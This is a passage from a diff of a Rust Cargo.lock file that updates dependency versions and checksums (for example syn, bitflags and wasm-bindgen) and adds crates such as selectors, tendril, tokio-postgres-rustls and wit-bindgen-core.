+checksum = "feef350c36147532e1b79ea5c1f3791373e61cbd9a6a2615413b3807bb164fb7" +dependencies = [ + "bitflags 2.11.0", + "cssparser", + "derive_more", + "log", + "new_debug_unreachable", + "phf 0.13.1", + "phf_codegen 0.13.1", + "precomputed-hash", + "rustc-hash 2.1.1", + "servo_arc", + "smallvec", +] + +[[package]] +name = "selectors" +version = "0.35.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93fdfed56cd634f04fe8b9ddf947ae3dc493483e819593d2ba17df9ad05db8b2" +dependencies = [ + "bitflags 2.11.0", + "cssparser", + "derive_more", + "log", + "new_debug_unreachable", + "phf 0.13.1", + "phf_codegen 0.13.1", + "precomputed-hash", + "rustc-hash 2.1.1", + "servo_arc", + "smallvec", +] + [[package]] name = "semver" version = "1.0.27" @@ -7152,7 +7789,7 @@ checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79" dependencies = [ "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -7163,7 +7800,7 @@ checksum = "18d26a20a969b9e3fdf2fc2d9f21eda6c40e2de84c9408bb5d3b05d499aae711" dependencies = [ "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -7198,7 +7835,7 @@ checksum = "175ee3e80ae9982737ca543e96133087cbd9a485eecc3bc4de9c1a37b47ea59c" dependencies = [ "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -7224,9 +7861,9 @@ dependencies = [ [[package]] name = "serde_with" -version = "3.16.1" +version = "3.17.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4fa237f2807440d238e0364a218270b98f767a00d3dada77b1c53ae88940e2e7" +checksum = "381b283ce7bc6b476d903296fb59d0d36633652b633b27f64db4fb46dcbfc3b9" dependencies = [ "base64 0.22.1", "chrono", @@ -7243,14 +7880,14 @@ dependencies = [ [[package]] name = "serde_with_macros" -version = "3.16.1" +version = "3.17.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "52a8e3ca0ca629121f70ab50f95249e5a6f925cc0f6ffe8256c45b728875706c" +checksum = "a6d4e30573c8cb306ed6ab1dca8423eec9a463ea0e155f45399455e0368b27e0" dependencies = [ "darling", "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -7268,6 +7905,15 @@ dependencies = [ "version_check", ] +[[package]] +name = "servo_arc" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "170fb83ab34de17dc69aa7c67482b22218ddb85da56546f9bd6b929e32a05930" +dependencies = [ + "stable_deref_trait", +] + [[package]] name = "sha1" version = "0.10.6" @@ -7279,6 +7925,12 @@ dependencies = [ "digest", ] +[[package]] +name = "sha1_smol" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbfa15b3dddfee50a0fff136974b3e1bde555604ba463834a7eb7deb6417705d" + [[package]] name = "sha2" version = "0.10.9" @@ -7310,9 +7962,9 @@ dependencies = [ [[package]] name = "shellexpand" -version = "3.1.1" +version = "3.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8b1fdf65dd6331831494dd616b30351c38e96e45921a27745cf98490458b90bb" +checksum = "32824fab5e16e6c4d86dc1ba84489390419a39f97699852b66480bb87d297ed8" dependencies = [ "dirs 6.0.0", ] @@ -7354,6 +8006,15 @@ dependencies = [ "libc", ] +[[package]] +name = "signature" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77549399552de45a898a580c1b41d445bf730df867cc44e6c0233bbc4b8329de" +dependencies = [ + "rand_core 0.6.4", +] + [[package]] name = "simd-adler32" version = "0.3.8" @@ -7366,6 +8027,12 @@ version = "0.1.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e3a9fe34e3e7a50316060351f37187a3f546bce95496156754b601a5fa71b76e" +[[package]] +name = "similar" +version = "2.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbbb5d9659141646ae647b42fe094daf6c6192d1620870b449d9557f748b2daa" + [[package]] name = "siphasher" version = "1.0.2" @@ -7374,9 +8041,9 @@ checksum = "b2aa850e253778c88a04c3d7323b043aeda9d3e30d5971937c1855769763678e" [[package]] name = "sketches-ddsketch" -version = "0.3.0" +version = "0.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c1e9a774a6c28142ac54bb25d25562e6bcf957493a184f15ad4eebccb23e410a" +checksum = "0c6f73aeb92d671e0cc4dca167e59b2deb6387c375391bc99ee743f326994a2b" dependencies = [ "serde", ] @@ -7414,7 +8081,7 @@ dependencies = [ "heck", "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -7449,6 +8116,16 @@ dependencies = [ "smallvec", ] +[[package]] +name = "spki" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d91ed6c858b01f942cd56b37a94b3e0a1798290327d1236e4d9cf4eaca44d29d" +dependencies = [ + "base64ct", + "der", +] + [[package]] name = "sptr" version = "0.3.2" @@ -7473,7 +8150,7 @@ checksum = "da5fc6819faabb412da764b99d3b713bb55083c11e7e0c00144d386cd6a1939c" dependencies = [ "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -7506,6 +8183,30 @@ version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f42444fea5b87a39db4218d9422087e66a85d0e7a0963a439b07bcdf91804006" +[[package]] +name = "string_cache" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a18596f8c785a729f2819c0f6a7eae6ebeebdfffbfe4214ae6b087f690e31901" +dependencies = [ + "new_debug_unreachable", + "parking_lot", + "phf_shared 0.13.1", + "precomputed-hash", +] + +[[package]] +name = "string_cache_codegen" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "585635e46db231059f76c5849798146164652513eb9e8ab2685939dd90f29b69" +dependencies = [ + "phf_generator 0.13.1", + "phf_shared 0.13.1", + "proc-macro2", + "quote", +] + [[package]] name = "stringprep" version = "0.1.5" @@ -7532,7 +8233,7 @@ dependencies = [ "proc-macro2", "quote", "structmeta-derive", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -7543,7 +8244,7 @@ checksum = "152a0b65a590ff6c3da95cabe2353ee04e6167c896b28e3b14478c2636c922fc" dependencies = [ "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -7565,7 +8266,7 @@ dependencies = [ "proc-macro2", "quote", "rustversion", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -7587,9 +8288,9 @@ dependencies = [ [[package]] name = "syn" -version = "2.0.114" +version = "2.0.117" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d4d107df263a3013ef9b1879b0df87d706ff80f65a86ea879bd9c31f9b307c2a" +checksum = "e665b8803e7b1d2a727f4023456bbbbe74da67099c585258af0ad9c5013b9b99" dependencies = [ "proc-macro2", "quote", @@ -7619,7 +8320,7 @@ checksum = "728a70f3dbaf5bab7f0c4b1ac8d7ae5ea60a4b5549c8a5914361c99147a709d2" dependencies = [ "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -7628,7 +8329,7 @@ version = "0.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a13f3d0daba03132c0aa9767f98351b3488edc2c100cda2d2ec2b04f3d8d3c8b" dependencies = [ - "bitflags 2.10.0", + "bitflags 2.11.0", "core-foundation 0.9.4", "system-configuration-sys", ] @@ -7649,7 +8350,7 @@ version = "0.27.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "cc4592f674ce18521c2a81483873a49596655b179f71c5e05d10c1fe66c78745" dependencies = [ - "bitflags 2.10.0", + "bitflags 2.11.0", "cap-fs-ext", "cap-std", "fd-lock", @@ -7689,7 +8390,7 @@ dependencies = [ "itertools 0.14.0", "levenshtein_automata", "log", - "lru", + "lru 0.12.5", "lz4_flex 0.11.5", "measure_time", "memmap2", @@ -7817,6 +8518,17 @@ version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "55937e1799185b12863d447f42597ed69d9928686b8d88a1df17376a097d8369" +[[package]] +name = "tar" +version = "0.4.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d863878d212c87a19c1a610eb53bb01fe12951c0501cf5a0d65f724914a667a" +dependencies = [ + "filetime", + "libc", + "xattr", +] + [[package]] name = "target-lexicon" version = "0.12.16" @@ -7825,17 +8537,38 @@ checksum = "61c41af27dd6d1e27b1b16b489db798443478cef1f06a660c96db617ba5de3b1" [[package]] name = "tempfile" -version = "3.24.0" +version = "3.26.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "655da9c7eb6305c55742045d5a8d2037996d61d8de95806335c7c86ce0f82e9c" +checksum = "82a72c767771b47409d2345987fda8628641887d5466101319899796367354a0" dependencies = [ "fastrand", - "getrandom 0.3.4", + "getrandom 0.4.1", "once_cell", - "rustix 1.1.3", + "rustix 1.1.4", "windows-sys 0.61.2", ] +[[package]] +name = "tendril" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d24a120c5fc464a3458240ee02c299ebcb9d67b5249c8848b09d639dca8d7bb0" +dependencies = [ + "futf", + "mac", + "utf-8", +] + +[[package]] +name = "tendril" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4790fc369d5a530f4b544b094e31388b9b3a37c0f4652ade4505945f5660d24" +dependencies = [ + "new_debug_unreachable", + "utf-8", +] + [[package]] name = "termcolor" version = "1.4.1" @@ -7925,7 +8658,7 @@ checksum = "4fee6c4efc90059e10f81e6d42c60a18f76588c3d74cb83a0b242a2b6c7504c1" dependencies = [ "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -7936,7 +8669,7 @@ checksum = "ebc4ee7f67670e9b64d05fa4253e753e016c6c95ff35b89b7941d6b856dec1d5" dependencies = [ "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -7959,9 +8692,9 @@ dependencies = [ [[package]] name = "time" -version = "0.3.45" +version = "0.3.47" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f9e442fc33d7fdb45aa9bfeb312c095964abdf596f7567261062b2a7107aaabd" +checksum = "743bd48c283afc0388f9b8827b976905fb217ad9e647fae3a379a9283c4def2c" dependencies = [ "deranged", "itoa", @@ -7974,15 +8707,15 @@ dependencies = [ [[package]] name = "time-core" -version = "0.1.7" +version = "0.1.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8b36ee98fd31ec7426d599183e8fe26932a8dc1fb76ddb6214d05493377d34ca" +checksum = "7694e1cfe791f8d31026952abf09c69ca6f6fa4e1a1229e18988f06a04a12dca" [[package]] name = "time-macros" -version = "0.2.25" +version = "0.2.27" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "71e552d1249bf61ac2a52db88179fd0673def1e1ad8243a00d9ec9ed71fee3dd" +checksum = "2e70e4c5a0e0a8a4823ad65dfe1a6930e4f4d756dcd9dd7939022b5e8c501215" dependencies = [ "num-conv", "time-core", @@ -8022,6 +8755,27 @@ version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" +[[package]] +name = "tls_codec" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0de2e01245e2bb89d6f05801c564fa27624dbd7b1846859876c7dad82e90bf6b" +dependencies = [ + "tls_codec_derive", + "zeroize", +] + +[[package]] +name = "tls_codec_derive" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2d2e76690929402faae40aebdda620a2c0e25dd6d3b9afe48867dfd95991f4bd" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + [[package]] name = "tokio" version = "1.49.0" @@ -8058,7 +8812,7 @@ checksum = "af407857209536a95c8e56f8231ef2c2e2aff839b22e07a1ffcbc617e9db9fa5" dependencies = [ "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -8097,13 +8851,39 @@ dependencies = [ "whoami", ] +[[package]] +name = "tokio-postgres-rustls" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "27d684bad428a0f2481f42241f821db42c54e2dc81d8c00db8536c506b0a0144" +dependencies = [ + "const-oid", + "ring", + "rustls 0.23.37", + "tokio", + "tokio-postgres", + "tokio-rustls 0.26.4", + "x509-cert", +] + +[[package]] +name = "tokio-rustls" +version = "0.25.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "775e0c0f0adb3a2f22a00c4745d728b479985fc15ee7ca6a2608388c5569860f" +dependencies = [ + "rustls 0.22.4", + "rustls-pki-types", + "tokio", +] + [[package]] name = "tokio-rustls" version = "0.26.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1729aa945f29d91ba541258c8df89027d5792d85a8841fb65e8bf0f4ede4ef61" dependencies = [ - "rustls", + "rustls 0.23.37", "tokio", ] @@ -8240,9 +9020,9 @@ dependencies = [ [[package]] name = "toml_parser" -version = "1.0.6+spec-1.1.0" +version = "1.0.9+spec-1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a3198b4b0a8e11f09dd03e133c0280504d0801269e9afa46362ffde1cbeebf44" +checksum = "702d4415e08923e7e1ef96cd5727c0dfed80b4d2fa25db9647fe5eb6f7c5a4c4" dependencies = [ "winnow", ] @@ -8342,7 +9122,7 @@ version = "0.4.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "61c5bb1d698276a2443e5ecfabc1008bf15a36c12e6a7176e7bf089ea9131140" dependencies = [ - "bitflags 2.10.0", + "bitflags 2.11.0", "bytes", "futures-core", "futures-util", @@ -8363,7 +9143,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d4e6559d53cc268e5031cd8429d05415bc4cb4aefc4aa5d6cc35fbf5b924a1f8" dependencies = [ "async-compression", - "bitflags 2.10.0", + "bitflags 2.11.0", "bytes", "futures-core", "futures-util", @@ -8412,7 +9192,7 @@ checksum = "7490cfa5ec963746568740651ac6781f701c9c5ea257c58e057f3ba8cf69e8da" dependencies = [ "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -8479,6 +9259,27 @@ dependencies = [ "tracing-serde", ] +[[package]] +name = "tracing-test" +version = "0.2.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "19a4c448db514d4f24c5ddb9f73f2ee71bfb24c526cf0c570ba142d1119e0051" +dependencies = [ + "tracing-core", + "tracing-subscriber", + "tracing-test-macro", +] + +[[package]] +name = "tracing-test-macro" +version = "0.2.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ad06847b7afb65c7866a36664b75c40b895e318cea4f71299f013fb22965329d" +dependencies = [ + "quote", + "syn 2.0.117", +] + [[package]] name = "try-lock" version = "0.2.5" @@ -8528,6 +9329,15 @@ dependencies = [ "rand 0.9.2", ] +[[package]] +name = "type1-encoding-parser" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3d6cc09e1a99c7e01f2afe4953789311a1c50baebbdac5b477ecf78e2e92a5b" +dependencies = [ + "pom", +] + [[package]] name = "typenum" version = "1.19.0" @@ -8568,9 +9378,9 @@ checksum = "5c1cb5db39152898a79168971543b1cb5020dff7fe43c8dc468b0885f5e29df5" [[package]] name = "unicode-ident" -version = "1.0.22" +version = "1.0.24" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9312f7c4f6ff9069b165498234ce8be658059c6728633667c526e27dc2cf1df5" +checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75" [[package]] name = "unicode-normalization" @@ -8601,9 +9411,9 @@ checksum = "7dd6e30e90baa6f72411720665d41d89b9a3d039dc45b8faea1ddd07f617f6af" [[package]] name = "unicode-width" -version = "0.2.0" +version = "0.2.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1fc81956842c57dac11422a97c3b8195a1ff727f06e85c84ed2e8aa277c9a0fd" +checksum = "b4ac048d71ede7ee76d585517add45da530660ef4390e49b098733c6e897f254" [[package]] name = "unicode-xid" @@ -8658,6 +9468,12 @@ version = "1.0.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7fcfc827f90e53a02eaef5e535ee14266c1d569214c6aa70133a624d8a3164ba" +[[package]] +name = "utf8-width" +version = "0.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1292c0d970b54115d14f2492fe0170adf21d68a1de108eebc51c1df4f346a091" + [[package]] name = "utf8_iter" version = "1.0.4" @@ -8672,16 +9488,23 @@ checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821" [[package]] name = "uuid" -version = "1.20.0" +version = "1.21.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ee48d38b119b0cd71fe4141b30f5ba9c7c5d9f4e7a3a8b4a674e4b6ef789976f" +checksum = "b672338555252d43fd2240c714dc444b8c6fb0a5c5335e65a07bba7742735ddb" dependencies = [ - "getrandom 0.3.4", + "getrandom 0.4.1", "js-sys", "serde_core", + "sha1_smol", "wasm-bindgen", ] +[[package]] +name = "v_htmlescape" +version = "0.15.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e8257fbc510f0a46eb602c10215901938b5c2a7d5e70fc11483b1d3c9b5b18c" + [[package]] name = "valuable" version = "0.1.1" @@ -8736,9 +9559,18 @@ dependencies = [ [[package]] name = "wasip2" -version = "1.0.1+wasi-0.2.4" +version = "1.0.2+wasi-0.2.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0562428422c63773dad2c345a1882263bbf4d65cf3f42e90921f787ef5ad58e7" +checksum = "9517f9239f02c069db75e65f174b3da828fe5f5b945c4dd26bd25d89c03ebcf5" +dependencies = [ + "wit-bindgen", +] + +[[package]] +name = "wasip3" +version = "0.4.0+wasi-0.3.0-rc-2026-01-06" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5428f8bf88ea5ddc08faddef2ac4a67e390b88186c703ce6dbd955e1c145aca5" dependencies = [ "wit-bindgen", ] @@ -8754,9 +9586,9 @@ dependencies = [ [[package]] name = "wasm-bindgen" -version = "0.2.108" +version = "0.2.113" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "64024a30ec1e37399cf85a7ffefebdb72205ca1c972291c51512360d90bd8566" +checksum = "60722a937f594b7fde9adb894d7c092fc1bb6612897c46368d18e7a20208eff2" dependencies = [ "cfg-if", "once_cell", @@ -8767,9 +9599,9 @@ dependencies = [ [[package]] name = "wasm-bindgen-futures" -version = "0.4.58" +version = "0.4.63" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "70a6e77fd0ae8029c9ea0063f87c46fde723e7d887703d74ad2616d792e51e6f" +checksum = "8a89f4650b770e4521aa6573724e2aed4704372151bd0de9d16a3bbabb87441a" dependencies = [ "cfg-if", "futures-util", @@ -8781,9 +9613,9 @@ dependencies = [ [[package]] name = "wasm-bindgen-macro" -version = "0.2.108" +version = "0.2.113" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "008b239d9c740232e71bd39e8ef6429d27097518b6b30bdf9086833bd5b6d608" +checksum = "0fac8c6395094b6b91c4af293f4c79371c163f9a6f56184d2c9a85f5a95f3950" dependencies = [ "quote", "wasm-bindgen-macro-support", @@ -8791,22 +9623,22 @@ dependencies = [ [[package]] name = "wasm-bindgen-macro-support" -version = "0.2.108" +version = "0.2.113" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5256bae2d58f54820e6490f9839c49780dff84c65aeab9e772f15d5f0e913a55" +checksum = "ab3fabce6159dc20728033842636887e4877688ae94382766e00b180abac9d60" dependencies = [ "bumpalo", "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", "wasm-bindgen-shared", ] [[package]] name = "wasm-bindgen-shared" -version = "0.2.108" +version = "0.2.113" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1f01b580c9ac74c8d8f0c0e4afb04eeef2acf145458e52c03845ee9cd23e3d12" +checksum = "de0e091bdb824da87dc01d967388880d017a0a9bc4f3bdc0d86ee9f9336e3bb5" dependencies = [ "unicode-ident", ] @@ -8831,6 +9663,28 @@ dependencies = [ "wasmparser 0.244.0", ] +[[package]] +name = "wasm-encoder" +version = "0.245.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9dca005e69bf015e45577e415b9af8c67e8ee3c0e38b5b0add5aa92581ed5c" +dependencies = [ + "leb128fmt", + "wasmparser 0.245.1", +] + +[[package]] +name = "wasm-metadata" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb0e353e6a2fbdc176932bbaab493762eb1255a7900fe0fea1a2f96c296cc909" +dependencies = [ + "anyhow", + "indexmap 2.13.0", + "wasm-encoder 0.244.0", + "wasmparser 0.244.0", +] + [[package]] name = "wasm-streams" version = "0.4.2" @@ -8851,7 +9705,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8d07b6a3b550fefa1a914b6d54fc175dd11c3392da11eee604e6ffc759805d25" dependencies = [ "ahash 0.8.12", - "bitflags 2.10.0", + "bitflags 2.11.0", "hashbrown 0.14.5", "indexmap 2.13.0", "semver", @@ -8864,7 +9718,7 @@ version = "0.221.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d06bfa36ab3ac2be0dee563380147a5b81ba10dd8885d7fbbc9eb574be67d185" dependencies = [ - "bitflags 2.10.0", + "bitflags 2.11.0", "hashbrown 0.15.5", "indexmap 2.13.0", "semver", @@ -8877,7 +9731,19 @@ version = "0.244.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "47b807c72e1bac69382b3a6fb3dbe8ea4c0ed87ff5629b8685ae6b9a611028fe" dependencies = [ - "bitflags 2.10.0", + "bitflags 2.11.0", + "hashbrown 0.15.5", + "indexmap 2.13.0", + "semver", +] + +[[package]] +name = "wasmparser" +version = "0.245.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4f08c9adee0428b7bddf3890fc27e015ac4b761cc608c822667102b8bfd6995e" +dependencies = [ + "bitflags 2.11.0", "indexmap 2.13.0", "semver", ] @@ -8902,7 +9768,7 @@ dependencies = [ "addr2line", "anyhow", "async-trait", - "bitflags 2.10.0", + "bitflags 2.11.0", "bumpalo", "cc", "cfg-if", @@ -8988,10 +9854,10 @@ dependencies = [ "anyhow", "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", "wasmtime-component-util", "wasmtime-wit-bindgen", - "wit-parser", + "wit-parser 0.221.3", ] [[package]] @@ -9104,7 +9970,7 @@ checksum = "1e91092e6cf77390eeccee273846a9327f3e8f91c3c6280f60f37809f0e62d29" dependencies = [ "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -9115,7 +9981,7 @@ checksum = "1a8e04b9a4c68ad018b330a4f4914b82b01dc3582d715ce21a93564c7f26b19f" dependencies = [ "anyhow", "async-trait", - "bitflags 2.10.0", + "bitflags 2.11.0", "bytes", "cap-fs-ext", "cap-net-ext", @@ -9163,7 +10029,7 @@ dependencies = [ "anyhow", "heck", "indexmap 2.13.0", - "wit-parser", + "wit-parser 0.221.3", ] [[package]] @@ -9177,31 +10043,31 @@ dependencies = [ [[package]] name = "wast" -version = "244.0.0" +version = "245.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b2e7b9f9e23311275920e3d6b56d64137c160cf8af4f84a7283b36cfecbf4acb" +checksum = "28cf1149285569120b8ce39db8b465e8a2b55c34cbb586bd977e43e2bc7300bf" dependencies = [ "bumpalo", "leb128fmt", "memchr", - "unicode-width 0.2.0", - "wasm-encoder 0.244.0", + "unicode-width 0.2.2", + "wasm-encoder 0.245.1", ] [[package]] name = "wat" -version = "1.244.0" +version = "1.245.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bbf35b87ed352f9ab6cd0732abde5a67dd6153dfd02c493e61459218b19456fa" +checksum = "cd48d1679b6858988cb96b154dda0ec5bbb09275b71db46057be37332d5477be" dependencies = [ - "wast 244.0.0", + "wast 245.0.1", ] [[package]] name = "web-sys" -version = "0.3.85" +version = "0.3.90" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "312e32e551d92129218ea9a2452120f4aabc03529ef03e4d0d82fb2780608598" +checksum = "705eceb4ce901230f8625bd1d665128056ccbe4b7408faa625eec1ba80f59a97" dependencies = [ "js-sys", "wasm-bindgen", @@ -9217,6 +10083,42 @@ dependencies = [ "wasm-bindgen", ] +[[package]] +name = "web_atoms" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "57a9779e9f04d2ac1ce317aee707aa2f6b773afba7b931222bff6983843b1576" +dependencies = [ + "phf 0.13.1", + "phf_codegen 0.13.1", + "string_cache", + "string_cache_codegen", +] + +[[package]] +name = "webpki-roots" +version = "0.26.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "521bc38abb08001b01866da9f51eb7c5d647a19260e00054a8c7fd5f9e57f7a9" +dependencies = [ + "webpki-roots 1.0.6", +] + +[[package]] +name = "webpki-roots" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22cfaf3c063993ff62e73cb4311efde4db1efb31ab78a3e5c457939ad5cc0bed" +dependencies = [ + "rustls-pki-types", +] + +[[package]] +name = "weezl" +version = "0.1.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a28ac98ddc8b9274cb41bb4d9d4d5c425b6020c50c46f25559911905610b4a88" + [[package]] name = "which" version = "4.4.2" @@ -9231,11 +10133,13 @@ dependencies = [ [[package]] name = "whoami" -version = "2.1.0" +version = "2.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8fae98cf96deed1b7572272dfc777713c249ae40aa1cf8862e091e8b745f5361" +checksum = "d6a5b12f9df4f978d2cfdb1bd3bac52433f44393342d7ee9c25f5a1c14c0f45d" dependencies = [ + "libc", "libredox", + "objc2-system-configuration", "wasite", "web-sys", ] @@ -9248,7 +10152,7 @@ checksum = "3b23e3dc273d1e35cab9f38a5f76487aeeedcfa6a3fb594e209ee7b6f8b41dcc" dependencies = [ "anyhow", "async-trait", - "bitflags 2.10.0", + "bitflags 2.11.0", "thiserror 1.0.69", "tracing", "wasmtime", @@ -9266,7 +10170,7 @@ dependencies = [ "proc-macro2", "quote", "shellexpand 2.1.2", - "syn 2.0.114", + "syn 2.0.117", "witx", ] @@ -9278,7 +10182,7 @@ checksum = "e882267ac583e013a38a5aaeb83a49b219456ba3aa6e6772440f7213b176e8ff" dependencies = [ "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", "wiggle-generate", ] @@ -9351,7 +10255,7 @@ checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf" dependencies = [ "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -9362,7 +10266,7 @@ checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358" dependencies = [ "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -9646,15 +10550,79 @@ version = "0.36.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3f3fd376f71958b862e7afb20cfe5a22830e1963462f3a17f49d82a6c1d1f42d" dependencies = [ - "bitflags 2.10.0", + "bitflags 2.11.0", "windows-sys 0.59.0", ] [[package]] name = "wit-bindgen" -version = "0.46.0" +version = "0.51.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f17a85883d4e6d00e8a97c586de764dabcc06133f7f1d55dce5cdc070ad7fe59" +checksum = "d7249219f66ced02969388cf2bb044a09756a083d0fab1e566056b04d9fbcaa5" +dependencies = [ + "wit-bindgen-rust-macro", +] + +[[package]] +name = "wit-bindgen-core" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ea61de684c3ea68cb082b7a88508a8b27fcc8b797d738bfc99a82facf1d752dc" +dependencies = [ + "anyhow", + "heck", + "wit-parser 0.244.0", +] + +[[package]] +name = "wit-bindgen-rust" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7c566e0f4b284dd6561c786d9cb0142da491f46a9fbed79ea69cdad5db17f21" +dependencies = [ + "anyhow", + "heck", + "indexmap 2.13.0", + "prettyplease", + "syn 2.0.117", + "wasm-metadata", + "wit-bindgen-core", + "wit-component", +] + +[[package]] +name = "wit-bindgen-rust-macro" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c0f9bfd77e6a48eccf51359e3ae77140a7f50b1e2ebfe62422d8afdaffab17a" +dependencies = [ + "anyhow", + "prettyplease", + "proc-macro2", + "quote", + "syn 2.0.117", + "wit-bindgen-core", + "wit-bindgen-rust", +] + +[[package]] +name = "wit-component" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d66ea20e9553b30172b5e831994e35fbde2d165325bec84fc43dbf6f4eb9cb2" +dependencies = [ + "anyhow", + "bitflags 2.11.0", + "indexmap 2.13.0", + "log", + "serde", + "serde_derive", + "serde_json", + "wasm-encoder 0.244.0", + "wasm-metadata", + "wasmparser 0.244.0", + "wit-parser 0.244.0", +] [[package]] name = "wit-parser" @@ -9674,6 +10642,24 @@ dependencies = [ "wasmparser 